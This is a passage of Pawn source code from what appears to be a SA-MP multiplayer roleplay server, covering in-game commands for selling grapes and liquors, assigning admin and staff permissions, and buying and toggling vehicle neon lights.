				if(needed < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Invalid amount."); return 1; }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellgrapes <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				money = strval(tmp);
				if(money < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Price can't be lower than $1."); return 1; }
				if(needed > PlayerInfo[playerid][pDJ]) { SendMessage(playerid, COLOR_YELLOW2, "Error: You don't have that much grapes."); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(playa != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, playa))
						{
							if(playa == playerid)
							{
								SendMessage(playerid, COLOR_YELLOW2, "Error: You can't sell your grapes to yourself.");
								return 1;
							}
							if(GrapexOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, " You already offered to this player."); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to buy %d grapes for $%d", giveplayer, needed, money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Player %s wants to sell you %d grapes for $%d, (type /[acc]ept grapes %i) to buy.", sendername, needed, money, playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							GrapexOffer[playa] = playerid;
							GrapexPrice[playa] = money;
							GrapexGram[playa] = needed;
							GrapexSell[playerid] = playa;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you!");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is offline.");
				}
			}
			return 1;
		}
		
		if(strcmp(cmd, "/sellliquors", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pGMute] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't any liquors.");
				if(PINFO[playerid][pJob] != 23) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Liquor Dealer.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /sellliquors <Playerid/PartOfName> <Amount> <Price>");
					return 1;
				}
				new playa;
				new money;
				new needed;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellliquors <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				needed = strval(tmp);
				if(needed < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Invalid amount."); return 1; }
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) { SendMessage(playerid, COL_SYN, "Syntax: /sellliquors <Playerid/PartOfName> <Amount> <Price>"); return 1; }
				money = strval(tmp);
				if(money < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Price can't be lower than $1."); return 1; }
				if(needed > PlayerInfo[playerid][pGMute]) { SendMessage(playerid, COLOR_YELLOW2, "Error: You don't have that much liquors."); return 1; }
				if(IsPlayerConnected(playa))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					if(playa != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, playa))
						{
							if(playa == playerid)
							{
								SendMessage(playerid, COLOR_YELLOW2, "Error: You can't sell your liquors to yourself.");
								return 1;
							}
							if(LiquorxOffer[playa] == playerid) { SCM(playerid,COLOR_BLUE, " You already offered to this player."); return 1; }
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "You offered %s to buy %d liquors for $%d", giveplayer, needed, money);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
							format(string, sizeof(string), "Player %s wants to sell you %d liquors for $%d, (type /[acc]ept liquors %i) to buy.", sendername, needed, money, playerid);
							SendMessage(playa, COLOR_LIGHTBLUE, string);
							LiquorxOffer[playa] = playerid;
							LiquorxPrice[playa] = money;
							LiquorxGram[playa] = needed;
							LiquorxSell[playerid] = playa;
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "That player is not near you!");
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "That player is offline.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/liquor", true) == 0)
		{
		if(PINFO[playerid][pGMute] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have any liquors.");
        if(GodmodeFeature[playerid] == true) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't use this when you are godmode.");
		new Float:NowH;
		GetPlayerHealth(playerid, NowH);
		if(NowH >= 300) return SCM(playerid, COLOR_YELLOW2, "Error: Your health is more than 200.");
		SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DRINK_WINE);
        PlayerInfo[playerid][pGMute] -= 1;
        SaveKonVal(playerid, "pGMute", PINFO[playerid][pGMute]);
		Drinking[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/bug", true) == 0)
		{
		ShowPlayerDialog(playerid,7468,DIALOG_STYLE_INPUT,"Report a bug","Please enter the subject of the bug below","Enter","Close");
		return 1;
		}
		if(strcmp(cmd, "/chatcolor", true) == 0)
		{
		if(PINFO[playerid][pVip] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
		if(!ChatColor[playerid])
		{
		SCM(playerid, COLOR_WHITE, "Colored chat {00ff00}enabled{ffffff}.");
		ChatColor[playerid] = 1;
		return 1;
		}
		if(ChatColor[playerid])
		{
		SCM(playerid, COLOR_WHITE, "Colored chat {ff0000}disabled{ffffff}.");
		ChatColor[playerid] = 0;
		return 1;
		}
		return 1;
		}
		if(strcmp(cmd, "/throwgun", true) == 0)
		{
		new sweapon, sammo, xxs = 0, wepname[20], dialogg[300], str[40];
		for (new i=0; i<13; i++)
		{
		  GetPlayerWeaponData(playerid, i, sweapon, sammo);
		  if(sweapon != 0)
		  {
		  Selectedd[playerid][xxs] = i;
		  xxs ++;
		  GetWeaponName(sweapon, wepname, sizeof(wepname));
		  format(str, sizeof(str), "%s\n", wepname);
		  strcat(dialogg, str);
		  }
		}
		if(xxs == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't any weapon.");
		ShowPlayerDialog(playerid, 7386, DIALOG_STYLE_LIST, "Select a gun to throw", dialogg, "Throw", "Cancel");
		return 1;
		}
		if(strcmp(cmd, "/permission", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10 && PlayerInfo[playerid][pSlp] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use that command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /permission <Playerid/PartOfName> <Permission> <0/1>");
	    new taraf, permission[20], level, myname[25], tarafname[25], admwarn[144];
		taraf = ReturnUser6(tmp);
		if(!IsPlayerConnected(taraf)) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't connected.");
		if(PINFO[taraf][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(PINFO[taraf][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsors.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /permission <Playerid/PartOfName> <Permission> <0/1>");
		format(permission, sizeof(permission), tmp);
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /permission <Playerid/PartOfName> <Permission> <0/1>");
		level = strval(tmp);
		if(level != 0 && level != 1) return SCM(playerid, COLOR_YELLOW2, "Error: Last option should be 0 or 1.");
		GetPlayerName(taraf, tarafname, sizeof(tarafname));
		GetPlayerName(playerid, myname, sizeof(myname));
		if(strcmp(permission,"Leader",true) == 0)
        {
		 if(level == 1)
		 {
			PlayerInfo[taraf][pMlp] = 1;
			SaveKonVal(taraf, "pMlp", 1);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you leaders management objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned leaders management objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pMlp] = 0;
			SaveKonVal(taraf, "pMlp", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked leaders management objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked leaders management objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
        }
        else if(strcmp(permission,"Helper",true) == 0)
		{
		 if(level == 1)
		 {
			PlayerInfo[taraf][pHlp] = 5;
			SaveKonVal(taraf, "pHlp", 5);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you helpers management objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned helpers management objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pHlp] = 0;
			SaveKonVal(taraf, "pHlp", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked helpers management objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked helpers management objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		}
        else if(strcmp(permission,"War",true) == 0)
		{
		 if(level == 1)
		 {
			PlayerInfo[taraf][pWlp] = 1;
			SaveKonVal(taraf, "pWlp", 1);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you war management objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned war management objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pWlp] = 0;
			SaveKonVal(taraf, "pWlp", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked war management objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked war management objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		}
        else if(strcmp(permission,"Admin",true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11 && PlayerInfo[playerid][pSlp] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use this option.");
		 if(level == 1)
		 {
			PlayerInfo[taraf][pAlp] = 1;
			SaveKonVal(taraf, "pAlp", 1);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you admins management objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned admins management objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pAlp] = 0;
			SaveKonVal(taraf, "pAlp", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked admins management objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked admins management objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		}
        else if(strcmp(permission,"Staff",true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use this option.");
		 if(level == 1)
		 {
			PlayerInfo[taraf][pSlp] = 1;
			SaveKonVal(taraf, "pSlp", 1);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you staff management objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned staff management objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pSlp] = 0;
			SaveKonVal(taraf, "pSlp", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked staff management objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked staff management objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		}
        else if(strcmp(permission,"Sponsor",true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_YELLOW2,"Error: You are not authorized to use this option.");
		if(playerid == taraf) return SCM(playerid,COLOR_YELLOW2,"Error: You can't do this action on yourself.");
		 if(level == 1)
		 {
            PINFO[taraf][pSDay] = 30;
            SaveKonVal(taraf, "pSDay", 30);
            PINFO[taraf][pHelper] = 0;
            SaveKonVal(taraf, "pHelper", 0);
            PINFO[taraf][pAdmin] = 0;
            SaveKonVal(taraf, "pAdmin", 0);
            PINFO[taraf][pHAgr] = 0;
            SaveKonVal(taraf, "pHAgr", 0);
            PINFO[taraf][pHDay] = 0;
            SaveKonVal(taraf, "pHDay", 0);
            PINFO[taraf][pSlp] = 0;
            SaveKonVal(taraf, "pSlp", 0);
            PINFO[taraf][pMlp] = 0;
            SaveKonVal(taraf, "pMlp", 0);
            PINFO[taraf][pAlp] = 0;
            SaveKonVal(taraf, "pAlp", 0);
            PINFO[taraf][pHlp] = 0;
            SaveKonVal(taraf, "pHlp", 0);
            ASAR[taraf] = 0;
            PlayerTextDrawHide(taraf, SAR[playerid]);
            HSAR[taraf] = 0;
		TextDrawHideForPlayer(playerid, ReportsTD);
		TextDrawHideForPlayer(playerid, HelpmesTD);
            PlayerInfo[taraf][pSponser] = 1;
			SaveKonVal(taraf, "pSponser", 1);
			format(admwarn, sizeof(admwarn), "Admin %s assigned you sponsor objective.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s assigned sponsor objective to %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		 else if(level == 0)
		 {
			PlayerInfo[taraf][pSponser] = 0;
			SaveKonVal(taraf, "pSponser", 0);
            PINFO[taraf][pSDay] = 0;
            SaveKonVal(taraf, "pSDay", 0);
			format(admwarn, sizeof(admwarn), "Admin %s revoked sponsor objective from you.", myname);
			SendClientMessage(taraf, COLOR_WHITE, admwarn);
			format(admwarn, sizeof(admwarn), "{FFFFFF}Admin %s revoked sponsor objective from %s.",myname, tarafname);
			AdminWarn(admwarn);
		 }
		}
		else
	    {
	    SCM(playerid, COL_SYN, "Syntax: /permission <Playerid/PartOfName> <Permission> <0/1>");
	    SCM(playerid, COLOR_Good, "Tip: Permission can be only these options: Sponsor, Staff, Admin, War, Helper, Leader.");
	    return 1;
        }
		return 1;
		}
		if(strcmp(cmd, "/neon", true) == 0)
		{
		if(!PTP(5.0, playerid, -1429.179931, -958.492492, 201.128356)) return SCM(playerid, COLOR_YELLOW2, "Error: You are not close to neon shop.");
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in any vehicle.");
        if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_YELLOW2,"Error: You should sit in vehicle as a driver.");
		if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
		if(IsVehicleNeoned(GetPlayerVehicleID(playerid))) return SCM(playerid, COLOR_YELLOW2, "Error: You should use /togneon first.");
        switch(GetVehicleModel(GetPlayerVehicleID(playerid)))
        {
          case 562,565,559,561,560,575,534,567,536,535,576,411,579,602,496,518,527,589,597,419,
          533,526,474,545,517,410,600,436,580,439,549,491,445,604,507,585,587,466,492,546,551,516,
          426,547,405,409,550,566,406,540,421,529,431,438,437,420,525,552,416,433,427,490,528,
          407,544,470,598,596,599,601,428,499,609,524,578,486,573,455,588,403,514,423,412,
          414,443,515,456,422,482,530,418,572,413,440,543,583,478,554,402,542,603,475,568,504,457,
          483,508,429,541,415,480,434,506,451,555,477,400,404,489,479,442,458,467,558:{}
          default:return SCM(playerid,COLOR_YELLOW2,"Error: Neon Shop doesn't support this vehicle.");
        }
		ShowPlayerDialog(playerid,1807,DIALOG_STYLE_LIST,"Choose a neon to buy","{0000FF}Blue\n{FF0000}Red\n{00FF00}Green\n{FFFFFF}White\n{FF00CC}Pink\n{FFFF00}Yellow","Select","Close");
		return 1;
		}
		if(strcmp(cmd, "/togneon", true) == 0)
		{
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in any vehicle.");
        if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_YELLOW2,"Error: You should sit in vehicle as a driver.");
		if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
		new vehicleid = GetPlayerVehicleID(playerid);
		if(PINFO[playerid][pCar_1] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh1]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 1.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh1]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 1.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 1.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 1.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 1.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][18], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][19], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{FF00CC}Pink{F5DEB3} neon toggled for personal vehicle 1.");
		}
		if(neonz == 18650)// Yellow
		{
		  CarNeons[vehicleid][20] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][21] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][22] = CreateObject(18650,0,0,0,0,0,0);
		  CarNeons[vehicleid][23] = CreateObject(18650,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][20], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][21], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][22], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][23], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
		  SCM(playerid, COLOR_SINARANG, "{FFFF00}Yellow{F5DEB3} neon toggled for personal vehicle 1.");
		}
		}
		}
		if(PINFO[playerid][pCar_2] == vehicleid)
		{
		if(vInfo[PINFO[playerid][pVeh2]][cNeon] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle hasn't neon.");
		if(IsVehicleNeoned(vehicleid))
		{
		for(new i = 0; i < 24; i++)
	    {
		  DestroyObject(CarNeons[vehicleid][i]);
		}
		SCM(playerid, COLOR_SINARANG, "Neon toggled for personal vehicle 2.");
		VehicleNeon[vehicleid] = 0;
		}
		else
		{
		new neonz = vInfo[PINFO[playerid][pVeh2]][cNeon];
		if(neonz == 18648)// Blue
		{
		  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
		  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{0000FF}Blue{F5DEB3} neon toggled for personal vehicle 2.");
		}
		if(neonz == 18647)// Red
		{
		  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
		  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FF0000}Red{F5DEB3} neon toggled for personal vehicle 2.");
		}
		if(neonz == 18649)// Green
		{
		  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
		  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][9], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][10], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][11], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{00FF00}Green{F5DEB3} neon toggled for personal vehicle 2.");
		}
		if(neonz == 18652)// White
		{
		  CarNeons[vehicleid][12] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][13] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][14] = CreateObject(18652,0,0,0,0,0,0);
		  CarNeons[vehicleid][15] = CreateObject(18652,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][12], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][13], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  //AttachObjectToVehicle(CarNeons[vehicleid][14], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
		  //AttachObjectToVehicle(CarNeons[vehicleid][15], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
		  VehicleNeon[vehicleid] = 1;
          SCM(playerid, COLOR_SINARANG, "{FFFFFF}White{F5DEB3} neon toggled for personal vehicle 2.");
		}
		if(neonz == 18651)// Pink
		{
		  CarNeons[vehicleid][16] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][17] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][18] = CreateObject(18651,0,0,0,0,0,0);
		  CarNeons[vehicleid][19] = CreateObject(18651,0,0,0,0,0,0);
		  AttachObjectToVehicle(CarNeons[vehicleid][16], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
		  AttachObjectToVehicle(CarNeons[vehicleid][17], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
